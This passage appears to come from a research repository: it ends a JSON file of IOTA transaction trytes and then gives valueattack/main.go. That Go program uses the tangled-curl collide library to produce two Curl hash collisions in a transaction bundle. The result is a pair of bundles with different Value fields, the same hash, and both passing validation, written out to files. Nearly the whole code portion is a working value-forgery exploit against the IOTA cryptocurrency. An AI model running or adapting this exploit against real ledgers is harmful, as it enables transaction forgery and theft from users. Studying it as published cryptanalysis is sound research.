AEOUXGRWNGKMBWJQRDUFESQMPVWXCCYK9MAEIQIBWCPTP9BSIXHOIBIFHIYJEKRZC9CPEQBQEBRJGOWXXPEEKSZXQKPIMLOMT9DTDEQ9DBFQPHKCKYOFN9IS99999999999999999999999999999999999999999999999999999999999999999999999999999999999999IREMCZFAPUOVIJGZGUTFCB9MFH9IPTDZJW9HRSAIRCJEXXA9OSIMALAJEGOGZOODHMSJOWGMGFBVDPOXT", 8 | "999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999ZGHXPWTXKYCBPHQQATOIXEEI9K9YKFKCWCNBTYAUWXK9QZAVEWHUAIPAZOIHCNJBJIEBEUQNJBGGLYMTXA9999999I999999999999999999XFQPICAYAYLXAHZUQDOCCCKFDBX9NUPWZD99C99999999J99999999VMKLPLHZCBMWTEDQAWUBRWOABKGIFDFCTCOKTAEOUXGRWNGKMBWJQRDUFESQMPVWXCCYK9MAEIQIBWCPTJOCCFOSWLQAOTIHRWVJFRNMVQQJDJIU9NVJWPSEZUFJFBJJNTENTTHEYMYPRPR9EJYFRTY9HRUGB99999999999999999999999999999999999999999999999999999999999999999999999999999999999999WPCXENADZXCJZCKIZS9U9RCLAUITNOFJRFOFF9ANIGPRWJCYJVJACUFBCCZGOPEMLUX9CBGVMRDVKSPKO", 9 | "999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999ZGHXPWTYKXCBPHQTAQQIXEEI9K9YKFKCWCNBTYAUWXK9QZAVEWHUAIZAPOIHCNJBJIEBEUQNJBWGLYMTXVSITA9999999999999999999999YNNHQBKMQEFAEDAYBUOBUHVIRNG9NUPWZD99B99999999J99999999VMKLPLHZCBMWTEDQAWUBRWOABKGIFDFCTCOKTAEOUXGRWNGKMBWJQRDUFESQMPVWXCCYK9MAEIQIBWCPTHMRYE9JB9CULTQRYQAXQSQAEPKXBMCTTBAERLEXFEEM9BPW9DYRESTSFLKVIHANEPMBNLLALVPCA99999999999999999999999999999999999999999999999999999999999999999999999999999999999999PDD9OVDXAHXCUGJMEBG99AZWZHNHTOTYOXPSNOSUTX9EHEXHQQLHSWEHAZODZHUMMVHDQJRXWH9KYIUBB", 10 | "999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999ZGHXPWTYKXPCBHQTAQOIXEEI9K9YYFKCWCNBTYAUWXK9QZAVEUHWAIZAPOIHCNJBJIEBEUQNJBWGLYMTXA99999999999999999999999999LPBIVYBZADYAIIZU9D9UOXMOCCW9NUPWZD99A99999999J99999999VMKLPLHZCBMWTEDQAWUBRWOABKGIFDFCTCOKTAEOUXGRWNGKMBWJQRDUFESQMPVWXCCYK9MAEIQIBWCPTVVHPYX9WMVWWGQDKVKJLYCJEKIFIEUWADYXBXZSRIZOWHIVJPDJBPACIDKVPBTAZVHIBPONDZJTF99999999999999999999999999999999999999999999999999999999999999999999999999999999999999DBZRJKZTANTGAWHGVUT9EGWYRFHTNQRUYJXBQXTCALRQLVDZKCVWWIAOWGIQRHZFKF9YCZIBUAMZF9KCN", 11 | "999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999ZGHXPZYDKXPEOSQTAQOIXEEI9K9YKFKCWKYYTYAUWXK9QZAVMJXWAIZABOXHHNNBJIEBEUQRTBWGLYMTXTKSXSM999999999999999999999GB9YMDLBFIZOASZKNDJQKZXUDSW9NUPWZD99999999999J99999999VMKLPLHZCBMWTEDQAWUBRWOABKGIFDFCTCOKTAEOUXGRWNGKMBWJQRDUFESQMPVWXCCYK9MAEIQIBWCPT999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999XJJCJHFXLSEDLKQB9QOVZNPLYYLGSJZMPQYWELVJGAAFZHDPCHDEXLBUN9CUIJSFYDFJRJRIRJWUXAODA" ] 12 | -------------------------------------------------------------------------------- /valueattack/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "log" 7 | "os" 8 | "runtime/pprof" 9 | "time" 10 | 11 | "github.com/getlantern/deepcopy" 12 | "github.com/iotaledger/giota" 13 | "github.com/mit-dci/tangled-curl/collide" 14 | "github.com/mit-dci/tangled-curl/iotutil" 15 | ) 16 | 17 | var cpuprofile = flag.String("cpuprofile", "", "write cpu profile to file") 18 | var bundlefn = flag.String("fn", "inputBundleTrytes.txt", "Bundle filename") 19 | var trit = flag.Int("trit", 26, "Trit to collide") 20 | var ncpu = flag.Int("ncpu", 4, "Number of goroutines") 21 | var col1 = flag.Int("col1", 3, "Message block index of first collision") 22 | var col2 = flag.Int("col2", 7, "Message block index of second collision") 23 | var nitr = flag.Int("nitr", 1, "Number of iterations") 24 | 25 | func main() { 26 | flag.Parse() 27 | if *cpuprofile != "" { 28 | f, err := os.Create(*cpuprofile) 29 | if err != nil { 30 | log.Fatal(err) 31 | } 32 | pprof.StartCPUProfile(f) 33 | defer pprof.StopCPUProfile() 34 | } 35 | 36 | min := time.Hour 37 | max := time.Nanosecond 38 | start := time.Now() 39 | cmd := "pypy ../template/trit17.py" 40 | 41 | for nt := 0; nt < *nitr; nt++ { 42 | 43 | b0, err := iotutil.BundleFromTrytesFile(*bundlefn) 44 | if err != nil { 45 | log.Printf("%v", err) 46 | return 47 | } 48 | 49 | if *col1 < 3 || *col2 > 2*len(b0)-1 { 50 | log.Fatal("Collisions cannot be in first two or last blocks") 51 | } 52 | if *col1%2 == 0 || *col2%2 == 0 { 53 | log.Fatal("We assume collisons in the Value field; choose an odd message block") 54 | } 55 | 56 | if *trit != 17 && *trit != 26 { 57 | log.Fatal("For now we only handle collisions on trits 17 or 26") 58 | } 59 | if *trit == 26 { 60 | cmd = "pypy ../template/trit26.py" 61 | } 62 | 63 | trits := iotutil.BundleToTrits(b0) 64 | 65 | start_internal := time.Now() 66 | // tx0 value and tag 67 | mb1 := trits[(*col1-2)*243 : (*col1-1)*243] 68 | // tx1 addr 69 | mb2 := trits[(*col1-1)*243 : (*col1)*243] 70 | // tx1 value and tag 71 | mb3 := trits[(*col1)*243 : (*col1+1)*243] 72 | 73 | // Transform addr of tx0 74 | state := collide.ProduceState(trits, *col1-3) 75 | 76 | // Give this state to python 77 | tag_trits, template := collide.RunPython(state, mb1, mb2, mb3, cmd) 78 | 79 | // Set up the first tag, look for collisions 80 | tag := giota.Trits(tag_trits[81 : 81+81]).Trytes() 81 | b0[iotutil.TxnFromMB(*col1-2)].Tag = tag 82 | 83 | trits = iotutil.BundleToTrits(b0) 84 | 85 | state = collide.ProduceState(trits, *col1-1) 86 | 87 | fmt.Println("Generating collision...") 88 | msg0, msg1, _ := collide.Collide(state, template, *ncpu, 1, 6) 89 | 90 | // Found first collision 91 | b0[iotutil.TxnFromMB(*col1)].Tag = giota.Trits(msg0[81 : 81+81]).Trytes() 92 | 93 | // Now we need two bundles. 94 | var b1 giota.Bundle 95 | if err := deepcopy.Copy(&b1, &b0); err != nil { 96 | fmt.Printf("Panic on deepcopy\n") 97 | panic(err) 98 | } 99 | 100 | // Set the value in the colliding bundle to have a 1 in the 17th trit 101 | b0[iotutil.TxnFromMB(*col1)].Value = giota.Trits(msg0[0:81]).Int() 102 | b1[iotutil.TxnFromMB(*col1)].Value = giota.Trits(msg1[0:81]).Int() 103 | 104 | if b0.Hash() != b1.Hash() { 105 | fmt.Printf("wrong hashes on 1st collision:\n b0: %v\n b1: %v\n", b0.Hash(), b1.Hash()) 106 | return 107 | } 108 | fmt.Println("First collision worked!") 109 | 110 | // Run again for the second collision 111 | trits = iotutil.BundleToTrits(b0) 112 | 113 | // tx7 value and tag 114 | mb1 = trits[(*col2-2)*243 : (*col2-1)*243] 115 | // tx8 addr 116 | mb2 = trits[(*col2-1)*243 : (*col2)*243] 117 | // tx8 value and tag 118 | mb3 = trits[(*col2)*243 : (*col2+1)*243] 119 | 120 | state = collide.ProduceState(trits, (*col2 - 3)) 121 | 122 | // Give this state to python 123 | tag_trits, template = collide.RunPython(state, mb1, mb2, mb3, cmd) 124 | 125 | // Set up the next tag, look for collisions 126 | tag = giota.Trits(tag_trits[81 : 81+81]).Trytes() 127 | b0[iotutil.TxnFromMB(*col2-2)].Tag = tag 128 | b1[iotutil.TxnFromMB(*col2-2)].Tag = tag 129 | 130 | trits = iotutil.BundleToTrits(b0) 131 | state = collide.ProduceState(trits, *col2-1) 132 | 133 | fmt.Println("Generating second collision...") 134 | msg0, msg1, _ = collide.Collide(state, template, *ncpu, 1, 6) 135 | 136 | // Found second collision 137 | b0[iotutil.TxnFromMB(*col2)].Tag = giota.Trits(msg0[81 : 81+81]).Trytes() 138 | b1[iotutil.TxnFromMB(*col2)].Tag = giota.Trits(msg1[81 : 81+81]).Trytes() 139 | 140 | // Set the value in the colliding bundle to have a 1 in the 17th or 26th trit 141 | b0[iotutil.TxnFromMB(*col2)].Value = giota.Trits(msg1[0:81]).Int() 142 | b1[iotutil.TxnFromMB(*col2)].Value = giota.Trits(msg0[0:81]).Int() 143 | 144 | if b0.Hash() != b1.Hash() { 145 | fmt.Printf("wrong hashes on 2nd collision:\n b0: %v\n b1: %v\n", b0.Hash(), b1.Hash()) 146 | return 147 | } 148 | fmt.Println("Second collision!") 149 | 150 | if b0.Hash() != b1.Hash() { 151 | log.Fatalf("wrong hashes") 152 | } 153 | fmt.Printf("Bundles have the same hash!\n") 154 | 155 | if !iotutil.LightValidate(b0) || !iotutil.LightValidate(b1) { 156 | log.Fatalf("invalid") 157 | } 158 | 159 | x := time.Since(start_internal) 160 | if x > max { 161 | max = x 162 | } 163 | if x < min { 164 | min = x 165 | } 166 | 167 | if nt == 0 { 168 | fmt.Printf("Bundle 0 tags and values: \n") 169 | for i := 0; i < len(b0); i++ { 170 | fmt.Printf("\t%v\t%v\n", b0[i].Tag, b0[i].Value) 171 | } 172 | fmt.Printf("Bundle 1 tags and values: \n") 173 | for i := 0; i < len(b1); i++ { 174 | fmt.Printf("\t%v\t%v\n", b1[i].Tag, b1[i].Value) 175 | } 176 | err := iotutil.BundleToTrytesFile(b0, "b0.json") 177 | if err != nil { 178 | log.Fatalf("b0 write to file: %v", err) 179 | } 180 | err = iotutil.BundleToTrytesFile(b1, "b1.json") 181 | if err != nil { 182 | log.Fatalf("b1 write to file: %v", err) 183 | } 184 | } else { 185 | log.Printf("itr: %v, %v average time\n", nt, time.Since(start)/time.Duration(nt)) 186 | } 187 | } 188 | if *nitr > 1 { 189 | log.Printf("%v average time, min: %v, max: %v\n", time.Since(start)/time.Duration(*nitr), min, max) 190 | } else { 191 | log.Printf("%v time\n", time.Since(start)/time.Duration(*nitr)) 192 | } 193 | } 194 | --------------------------------------------------------------------------------